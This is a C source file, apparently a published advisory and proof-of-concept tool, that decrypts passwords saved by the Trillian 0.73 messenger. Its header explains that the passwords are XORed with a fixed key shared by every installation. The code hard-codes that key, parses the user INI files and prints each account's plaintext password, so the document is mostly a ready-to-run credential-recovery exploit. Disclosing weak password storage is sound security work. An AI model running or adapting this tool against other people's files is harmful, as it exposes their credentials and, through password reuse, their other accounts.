/********************************
 * trillian-ini-decrypt
 * By The Coeus Group
 * https://www.coeus-group.com
 ********************************
 *   Software:   Trillian 0.73, possibly others.
 *  Issue:    Weak "encryption" of saved passwords.
 *  Impact:    Decryption of saved passwords.
 *  Severity:  Medium. ish. The program only works locally, and only
 *      if the subject has saved their password, and really
 *      if someone can get into your AIM account, how earth-
 *      shattering is that??? However, since a lot of people
 *      use the same password for everything... What's easier,
 *      getting the password from Trillian, or Wells Fargo???
 ********************************
 * Trillian is, according to trillian.cc, "...everything you need for instant
 * messaging. Connect to ICQ®, AOL Instant Messenger(SM), MSN Messenger, Yahoo!
 * Messenger and IRC in a single, sleek and slim interface."
 *
 * Upon examination of the Trillian directory (which defaults to
 * C:\Program Files\Trillian\ ), it appears that passwords are stored in
 * ini files that are located in {Path to Trillian}\users\{WindowsLogon}. The
 * passwords are encrypted using a simple XOR with a key apparently uniform
 * throughout every installation.
 *
 * This program takes, as command line argument(s), path(s) to these INI files.
 * It will then display a list of usernames, "encrypted" passwords, and plaintext
 * passwords.
 *
 * Evan Nemerson
 * enemerson@coeus-group.com */

#include <stdio.h>
#include <errno.h>
#include <stdlib.h>

#ifndef FALSE
#define FALSE 0
#endif

#ifndef TRUE
#define TRUE 1
#endif

void toupper(char* string);
int strlen(const char *s);
int strBeginsWith(const char *needle, const char *haystack);
int strIs(const char *subj, const char *eq);
void extractAcctounts(FILE *fp);
char *hex2str(char *string);
void decrypt();
void outPasswds();
void printhelp();
int main(int argc, char *argv[]);

struct account
{
  char username[64];
  char cyphertext[64];
  char plaintext[32];
};

extern int errno;
struct account *pAccounts[32];
short int nAccounts = 0;
char key[] =    "\xF3\x26\x81\xC4"
      "\x39\x86\xDB\x92"
      "\x71\xA3\xB9\xE6"
      "\x53\x7A\x95\x7C";

void toupper(char* string)
{
  short int x = 0;
  for ( x = 0 ; x < (strlen(string)) ; x++ )
  {
    if ( ( string[x] > 96 ) && ( string[x] < 123 ) )
      string[x] -= 32;
  }
}

int strlen(const char *s)
{
  short int n = 0;
  while ( s[n] != 0 )
    n++;
  return n;
}

int strBeginsWith(const char *needle, const char *haystack)
{
  short int x;

  if ( strlen(needle) > strlen(haystack) )
    return FALSE;

  for ( x = 0 ; x < strlen(needle) ; x++ )
  {
    if ( needle[x] != haystack[x] )
      return FALSE;
  }

  return TRUE;
}

int strIs(const char *subj, const char *eq)
{
  short int x;

  if ( strlen(subj) != strlen(eq) )
    return FALSE;
  for ( x = 0 ; x < strlen(subj) ; x++ )
  {
    if ( subj[x] != eq[x] )
      return FALSE;
  }

  return TRUE;
}

void extractAcctounts(FILE *fp)
{
  char buff[256], *ptr;
  int x;
  while ( !feof(fp) )
  {
    fgets(buff, 255, fp);
    if ( strBeginsWith("name=", buff) )
    {
      buff[strlen(buff)-1] = 0;
      pAccounts[nAccounts] = (struct account*)malloc(sizeof(struct account));
      if ( pAccounts[nAccounts] == NULL )
      {
        perror("Failed to malloc()");
        exit(errno);
      }
      ptr = pAccounts[nAccounts]->username;
      for ( x = 5 ; x < strlen(buff) ; x++ )
      {
        ptr[x-5] = buff[x];
      }
      ptr[x-5] = 0;
      nAccounts++;
    }
    if ( strBeginsWith("password=", buff) )
    {
      buff[strlen(buff)-1] = 0;
      ptr = pAccounts[nAccounts-1]->cyphertext;
      for ( x = 9 ; x < strlen(buff) ; x++ )
      {
        ptr[x-9] = buff[x];
      }
      ptr[x-9] = 0;
    }
  }
}

char *hex2str(char *string)
{
  int x=0,n=0,i=0;
  unsigned char hex[2];
  unsigned char *out;
  out = (unsigned char*)malloc((strlen(string)/2)+1);
  if ( out == NULL )
  {
    perror("Failed to malloc()");
    exit(errno);
  }

  // For hex number...
  for ( x = 0 ; x < strlen(string) ; x+=2 )
  {
    out[i] = 0;
    // Convert ASCII 0-F to decimal.
    hex[0] = string[x]-48;
    hex[1] = string[x+1]-48;
    for ( n = 0 ; n < 2 ; n++ )
    {
      if ( hex[n] > 9 )
        hex[n] -= 7;
    }
    out[i++] = (hex[0]*16)+hex[1];
  }
  out[i++] = 0;
  return out;
}

void decrypt()
{
  int n, x;
  char *plain, *cypher;

  for ( x = 0 ; x < nAccounts ; x++ )
  {
    cypher = hex2str(pAccounts[x]->cyphertext);
    plain  = pAccounts[x]->plaintext;

    for ( n = 0 ; n < (strlen(cypher)-1) ; n++ )
    {
      plain[n] = cypher[n] ^ key[n];
    }
  }
}

void outPasswds()
{
  int x;
  printf(
    "/----------------------------\\\n"
    "| trillian-ini-decrypt       |\n"
    "| By The Coeus Group         |\n"
    "| https://www.coeus-group.com |\n"
    "\\----------------------------/\n");
  printf("Found %d accounts.\n\n", nAccounts);
  for ( x = 0 ; x < nAccounts ; x++ )
  {
    printf(  "Username:           : %s\n"
      "Password (encrypted): %s\n"
      "Password (decrypted): %s\n\n",
      pAccounts[x]->username,
      pAccounts[x]->cyphertext,
      pAccounts[x]->plaintext
    );
  }
}

void printhelp()
{
  printf(  "Just put the path to Trillian INI file as command-line\n"
    "parameter. Don't forget to quote as needed. Will accept\n"
    "multiple files.\n");
  exit(0);
}

int main(int argc, char *argv[])
{
  short int x;
  FILE *fp;

  if ( ( argc < 2 ) ) { printhelp(); }
  if (  ( strIs(argv[1],     "-h") )  |
    ( strIs(argv[1], "--help") )  |
    ( strIs(argv[1],     "/?") )
  ) printhelp();

  for ( x = 1 ; x < argc ; x++ )
  {
    fp = fopen(argv[x], "r");
    if ( fp == NULL )
    {
      perror("Error");
      exit(errno);
    }
    extractAcctounts(fp);
  }

  decrypt();
  outPasswds();

  return 0;
}